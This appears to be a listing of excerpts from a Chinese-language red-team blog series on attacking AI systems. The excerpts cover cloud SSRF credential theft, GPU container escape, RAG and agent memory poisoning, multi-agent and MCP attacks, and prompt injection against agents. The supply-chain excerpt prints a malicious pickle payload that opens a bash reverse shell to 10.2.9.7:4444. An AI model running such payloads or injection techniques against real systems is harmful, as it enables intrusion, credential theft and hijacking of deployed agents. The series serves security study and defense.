AI基础设施安全：云、容器与GPU逃逸
前几篇的攻击落在模型、Agent、RAG 或供应链上。这篇要写的是更底层的场景：攻击者根本不碰模型，直接从基础设施的配置错误拿走整个环境。 一个 SSRF 拿到云账号凭证、一条 IAM 链提权到管理员、一个 Pod 里的 ServiceAccount Token 直接调 K8s API，最后从 GPU 容器逃逸到宿主机。每一步用的都是已有的功能或默认配置，不是漏洞利用。 AI 系统特别容易命中这些问题，原因是它天然把三类高危组件绑在一起：有出站 HTTP 请求能力（URL 抓取、插件调用）、跑在云上且需要 IAM 角色访问存储和模型 API、部署在 K8s 里并挂载 GPU。三者叠加后，攻击面不是加法，是乘法。 一、从 SSRF 到云凭证AI 服务几乎都有出站 HTTP 能力：Agent 的 web_fetch 工具、RAG 的 URL 入库、Webhook 回调、OpenAPI 插件的远端 schema 加载。攻击者把这些功能的 URL 参数指向云元数据端点，就能拿到当前实例的 IAM 临时凭证。 云厂商的元数据端点 云厂商 端点 版本 鉴权要求 AWS http:/...
AI供应链攻击：从模型文件到依赖包的信任危机
传统供应链攻击的落点是「代码」。AI 栈把它扩成了一个更模糊的问题：哪些文件会被「执行」。 .py 当然会；.pt 模型文件会；adapter.safetensors 不会执行代码，但会改变模型输出；tokenizer.json 只是两张映射表，改动两个整数就能让分类器失效。 这篇按「被执行的程度」从高到低写：pickle 反序列化、扫描器绕过、LoRA 投毒、tokenizer 操纵、依赖混淆。每一段给出可复现的最小代码和对应防御。 一、.pt 文件是代码，不是权重PyTorch 默认格式 .pt 底层是 Python pickle。pickle 的设计目标之一就是序列化「任意对象」，加载时执行构造指令。构造 RCE 不需要漏洞： 1234567import torch, osclass RevShell: def __reduce__(self): return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.2.9.7/4444 0>&1'",...
嵌入向量攻击：从向量数据库反推原文
很多团队对向量库的安全预期是「存的是数学，不是内容」。这个预期不成立。嵌入向量是文本经过一个确定函数的产物：同一句话永远映射到同一个点，语义相近的文本落在相邻位置。向量不加密，不摘要，它是原文的一个有损投影，而投影是可逆的。 这篇文章按攻击顺序写：怎么把向量拿出来、怎么认出是哪个模型生成的、怎么从几万个切片里挑出值得还原的、以及两种把原文还原出来的方法。最后给一个不需要导出权限的变体。 第一步：向量库常常是能直接读的向量库的默认姿态偏开发：端口开着、API 自描述、鉴权可选。内网评估里命中率高的是这几个： 产品 默认端口 匿名读取 Chroma 8000 常见 Qdrant 6333（HTTP） 取决于配置 Milvus 19530（gRPC）/ 9091 取决于配置 Weaviate 8080 取决于配置 以 Chroma 为例，确认存在的两个请求： 12GET /api/v1/collections HTTP/1.1Host: 10.0.4.11:8000 1234HTTP/1.1 200 OKContent-Type: applica...
RAG攻击面：你的知识库是安全的吗
RAG 的价值是把模型不知道的私有内容接进来。攻击视角同样成立：检索管道把知识库里和问题最相近的原文，不加转换地送进模型上下文。谁能往知识库里写一条记录，谁就能决定未来某类问题的回答内容；谁能看到检索结果，谁就能拿到比模型输出更完整的原文。 这篇文章按数据流写：入库、检索、拼装、引用，每一段的攻击面和对应请求。 先看管道里每一步暴露什么 环节 关键参数 攻击关注点 入库 上传接口、同步来源 写权限给到了谁，外源文档是否进库 切片/嵌入 chunk_size、overlap 一条毒记录需要多大，能否跨片重组 向量库 端口、API 是否未授权导出，metadata 过滤能否绕过 检索 score_threshold、top_k、rerank 阈值多少，能不能把某条记录挤进 top-k 拼装/引用 sources 返回策略 原文片段是否直接回给前端 004 里已经写过阈值探测和 sources 泄漏，这篇集中在另外两块：把内容写进去，以及让写进去的内容被检索到。 入库的四个通道投毒的前提是写入。企业知识库的写入口通常不止一个，评估时按...
攻击多Agent系统：当Agent之间开始对话
单个 Agent 被注入，影响范围是它自己的工具权限。多个 Agent 串起来之后，多出来的是信任关系：上游的输出会变成下游的输入，编排器会把某段自然语言当成「这一步已经通过」。 攻击者要找的不再只是一句能改写系统提示词的话，而是这三件事里的任意一件。 谁在调度，调度依据是当前问题，还是连同历史一起看。 每个 Agent 怎么被发现，发现信息能不能被换成攻击者的地址。 Agent 共同读取的那份数据，是不是谁都能写。 这篇文章按这个顺序写：编排模式、Agent Card 枚举、工作流步骤绕过、流氓注册、Card 地址欺骗、共享数据投毒。 四种编排，四种信任失败 模式 数据怎么流 失败方式 Orchestrator 中心节点选下一个 Agent 调度提示词被改写，某一步从计划里消失 Peer-to-Peer Agent 互相调用 一个被控节点把指令传给所有对等节点 Hierarchical 上层汇总下层 下层回传被当成已核实事实 Pipeline A 的输出是 B 的输入 载荷在前面写入，在后面的高权限步骤执行 主流框架把这些做成了默认能力，安全边界...
Agent记忆投毒：跨会话的隐性后门
次提示注入有个硬限制：会话一结束，上下文就没了。下一次对话，模型看不到上一次塞进去的指令。 Agent 的长期记忆把这个限制拆掉了。它会把「用户说过的话」「解决过的问题」「总结出来的偏好」写进向量库或键值存储，下次相关问题时再检索回来，拼进系统提示词旁边。写入和触发可以隔着几天、换一个用户。审计日志里看不到同一条请求同时包含 payload 和危害动作。 这篇文章只讲记忆这一层：记忆存在哪、什么时候写入、检索怎么把毒记录捞回来、以及为什么常规的输入过滤几乎抓不到它。 记忆不是一段聊天记录生产里的 Agent 记忆通常是三层，不是一个叫 memory 的字段。 层 存活范围 典型内容 投毒后的影响面 会话记忆 当前 session_id 最近若干轮消息 只影响这次对话，多轮渐进用的就是这一层 用户记忆 同一 user_id，跨会话 偏好、角色、历史结论 这个人以后每次打开助手都会被带上 共享记忆 一个租户或一个 Agent 全局 「已知问题 / 已验证修复」 任何人问到相近话题都会检索到 三层的信任级别经常被写成一样。检索回来的文本直接拼在系统提...
如何攻击单个Agent系统
和 Chatbot 相比，Agent 多出来的不只是「能调用工具」，还有一个更隐蔽的变化——决策链变长了。用户的问题会走这条链：意图识别 → 工具选择 → 参数构造 → 工具执行 → 结果回读 → 结果整合 → 回答用户。 这条链条上每一步都在用 LLM 做判断。攻击的着眼点因此变化：Chatbot 场景你要骗的是「模型的输出」，Agent 场景你要骗的是**「模型的决策」**——让它选错工具、拼错参数、把不可信数据当成可信指令。 而且 Agent 天然持有一套服务侧凭证：数据库连接串、内部 API 的 Bearer Token、文件系统的账号。普通用户拿不到的东西，Agent 都拿得到。把 Agent 骗过去，等于把服务权限转嫁给了攻击者。 这就是传统安全里 Confused Deputy（被滥用的合法代理人）问题在 AI 时代的翻版。 这篇文章把单 Agent 的攻击面按这条链路的位置拆开：枚举、决策阶段的提示注入、工具输出注入、参数注入、输出侧的利用。最后给出对应的防御设计。 一、Agent 架构的攻击面从哪来一个跑在 FastAPI 后面的典型企业内部 Agent，用户请...
AI系统信息收集：从HTTP头到模型行为的侦察方法
AI 系统的暴露面大致分散在四个地方：HTTP 响应头、源码仓库、前端 JS、以及它和用户对话时的行为。这篇文章按这四个位置把可探测的信息逐条拆开——每条给完整报文或命令，然后说明这个信息后续怎么被用。 传统渗透里靠端口扫描和服务指纹就能摸清目标，但对现代 AI 应用这套方法收效有限——从外网看通常只有一个 443 端口，没有错误页，也没有可区分的服务特征。但暴露面不等于端口——AI 系统的情报大多不在网络层，而在响应头的自定义字段、前端 JS 配置、git 仓库里的提示词和 RAG 配置，以及模型回答问题的行为特征里。 侦察分被动和主动两个阶段。 一、被动侦察四个切入点被动侦察的定义：只看公开可见的东西，不发任何针对性请求。目标的日志里不会有针对你的记录。 1. HTTP 响应头开发团队常在网关或应用层加自定义调试头： 12345678910GET / HTTP/1.1Host: target.comHTTP/1.1 200 OKServer: nginx/1.24.0X-App-Version: 2.3.1X-Model-Provider: openaiX-Model-Nam...
MCP暴露面的安全问题：从发现到利用
MCP（Model Context Protocol）是 Anthropic 在 2024 年底推出的开放协议，目标是让 LLM 能以标准化方式连接外部工具、数据库和服务。一年内已有数千个 MCP Server 实现，覆盖从数据库查询到 Kubernetes 操作的各类能力。 但 MCP 的设计起点是「方便接入」，不是「安全部署」。规范没有强制认证，工具列表是公开的能力清单，资源 URI 直接暴露内部路径——这些设计选择让 MCP Server 的暴露面比传统 HTTP API 大得多。 这篇文章把 MCP 的暴露面拆开：先看协议设计带来了哪些天然的攻击面，然后走一条完整的攻击链，最后给出具体的修复建议。 MCP 协议是什么MCP 基于 JSON-RPC 2.0，定义了 Client 与 Server 之间的通信方式。Server 暴露三类能力： Tools：LLM 可调用的函数，如 run_sql_query、deploy_to_k8s、send_email Resources：可读取的数据，如文件内容、数据库记录 Prompts：预定义的提示词模板 传输层经历了三代演进，...
LLM安全攻击面全景：一个红队视角的分析
做红队的时候，接到一个新目标，我做的第一件事不是找漏洞，而是画攻击面——把所有可能的入口、信任边界、数据流向全部列出来，然后再决定从哪里下手。 面对 AI 系统，我做同样的事。但很快我发现，传统侦察方法论在这里几乎完全失效。 你跑一遍 nmap、whatweb、dirb，目标只暴露一个 443 端口和一张干净的前端页面。所有流量都是规规矩矩的 HTTPS JSON。从外部看，这面墙光滑得没有缝。 但攻击面就在那里——只是不在端口上。 这篇文章，我先把 AI 系统的攻击面全部画出来——从模型到应用，从 Agent 到基础设施，包括多模态和安全性的维度——然后逐层拆开，讲清楚每个攻击面怎么被发现、底层问题是什么。 先看全景一个现代 AI 系统不是单一组件，是一个多层堆栈。每一层都有独立的攻击面，层与层之间还能组合成攻击链。 七个层级，加上三个跨层维度——这就是完整的攻击面。一次真实的攻击往往贯穿多层： 通过 HTTP 头确认模型版本（侦察）→ 利用提示注入覆盖安全指令（应用层）→ 控制 Agent 调用工具读取敏感数据（Agent 层）→ 通过 RAG 的 sources 字段外...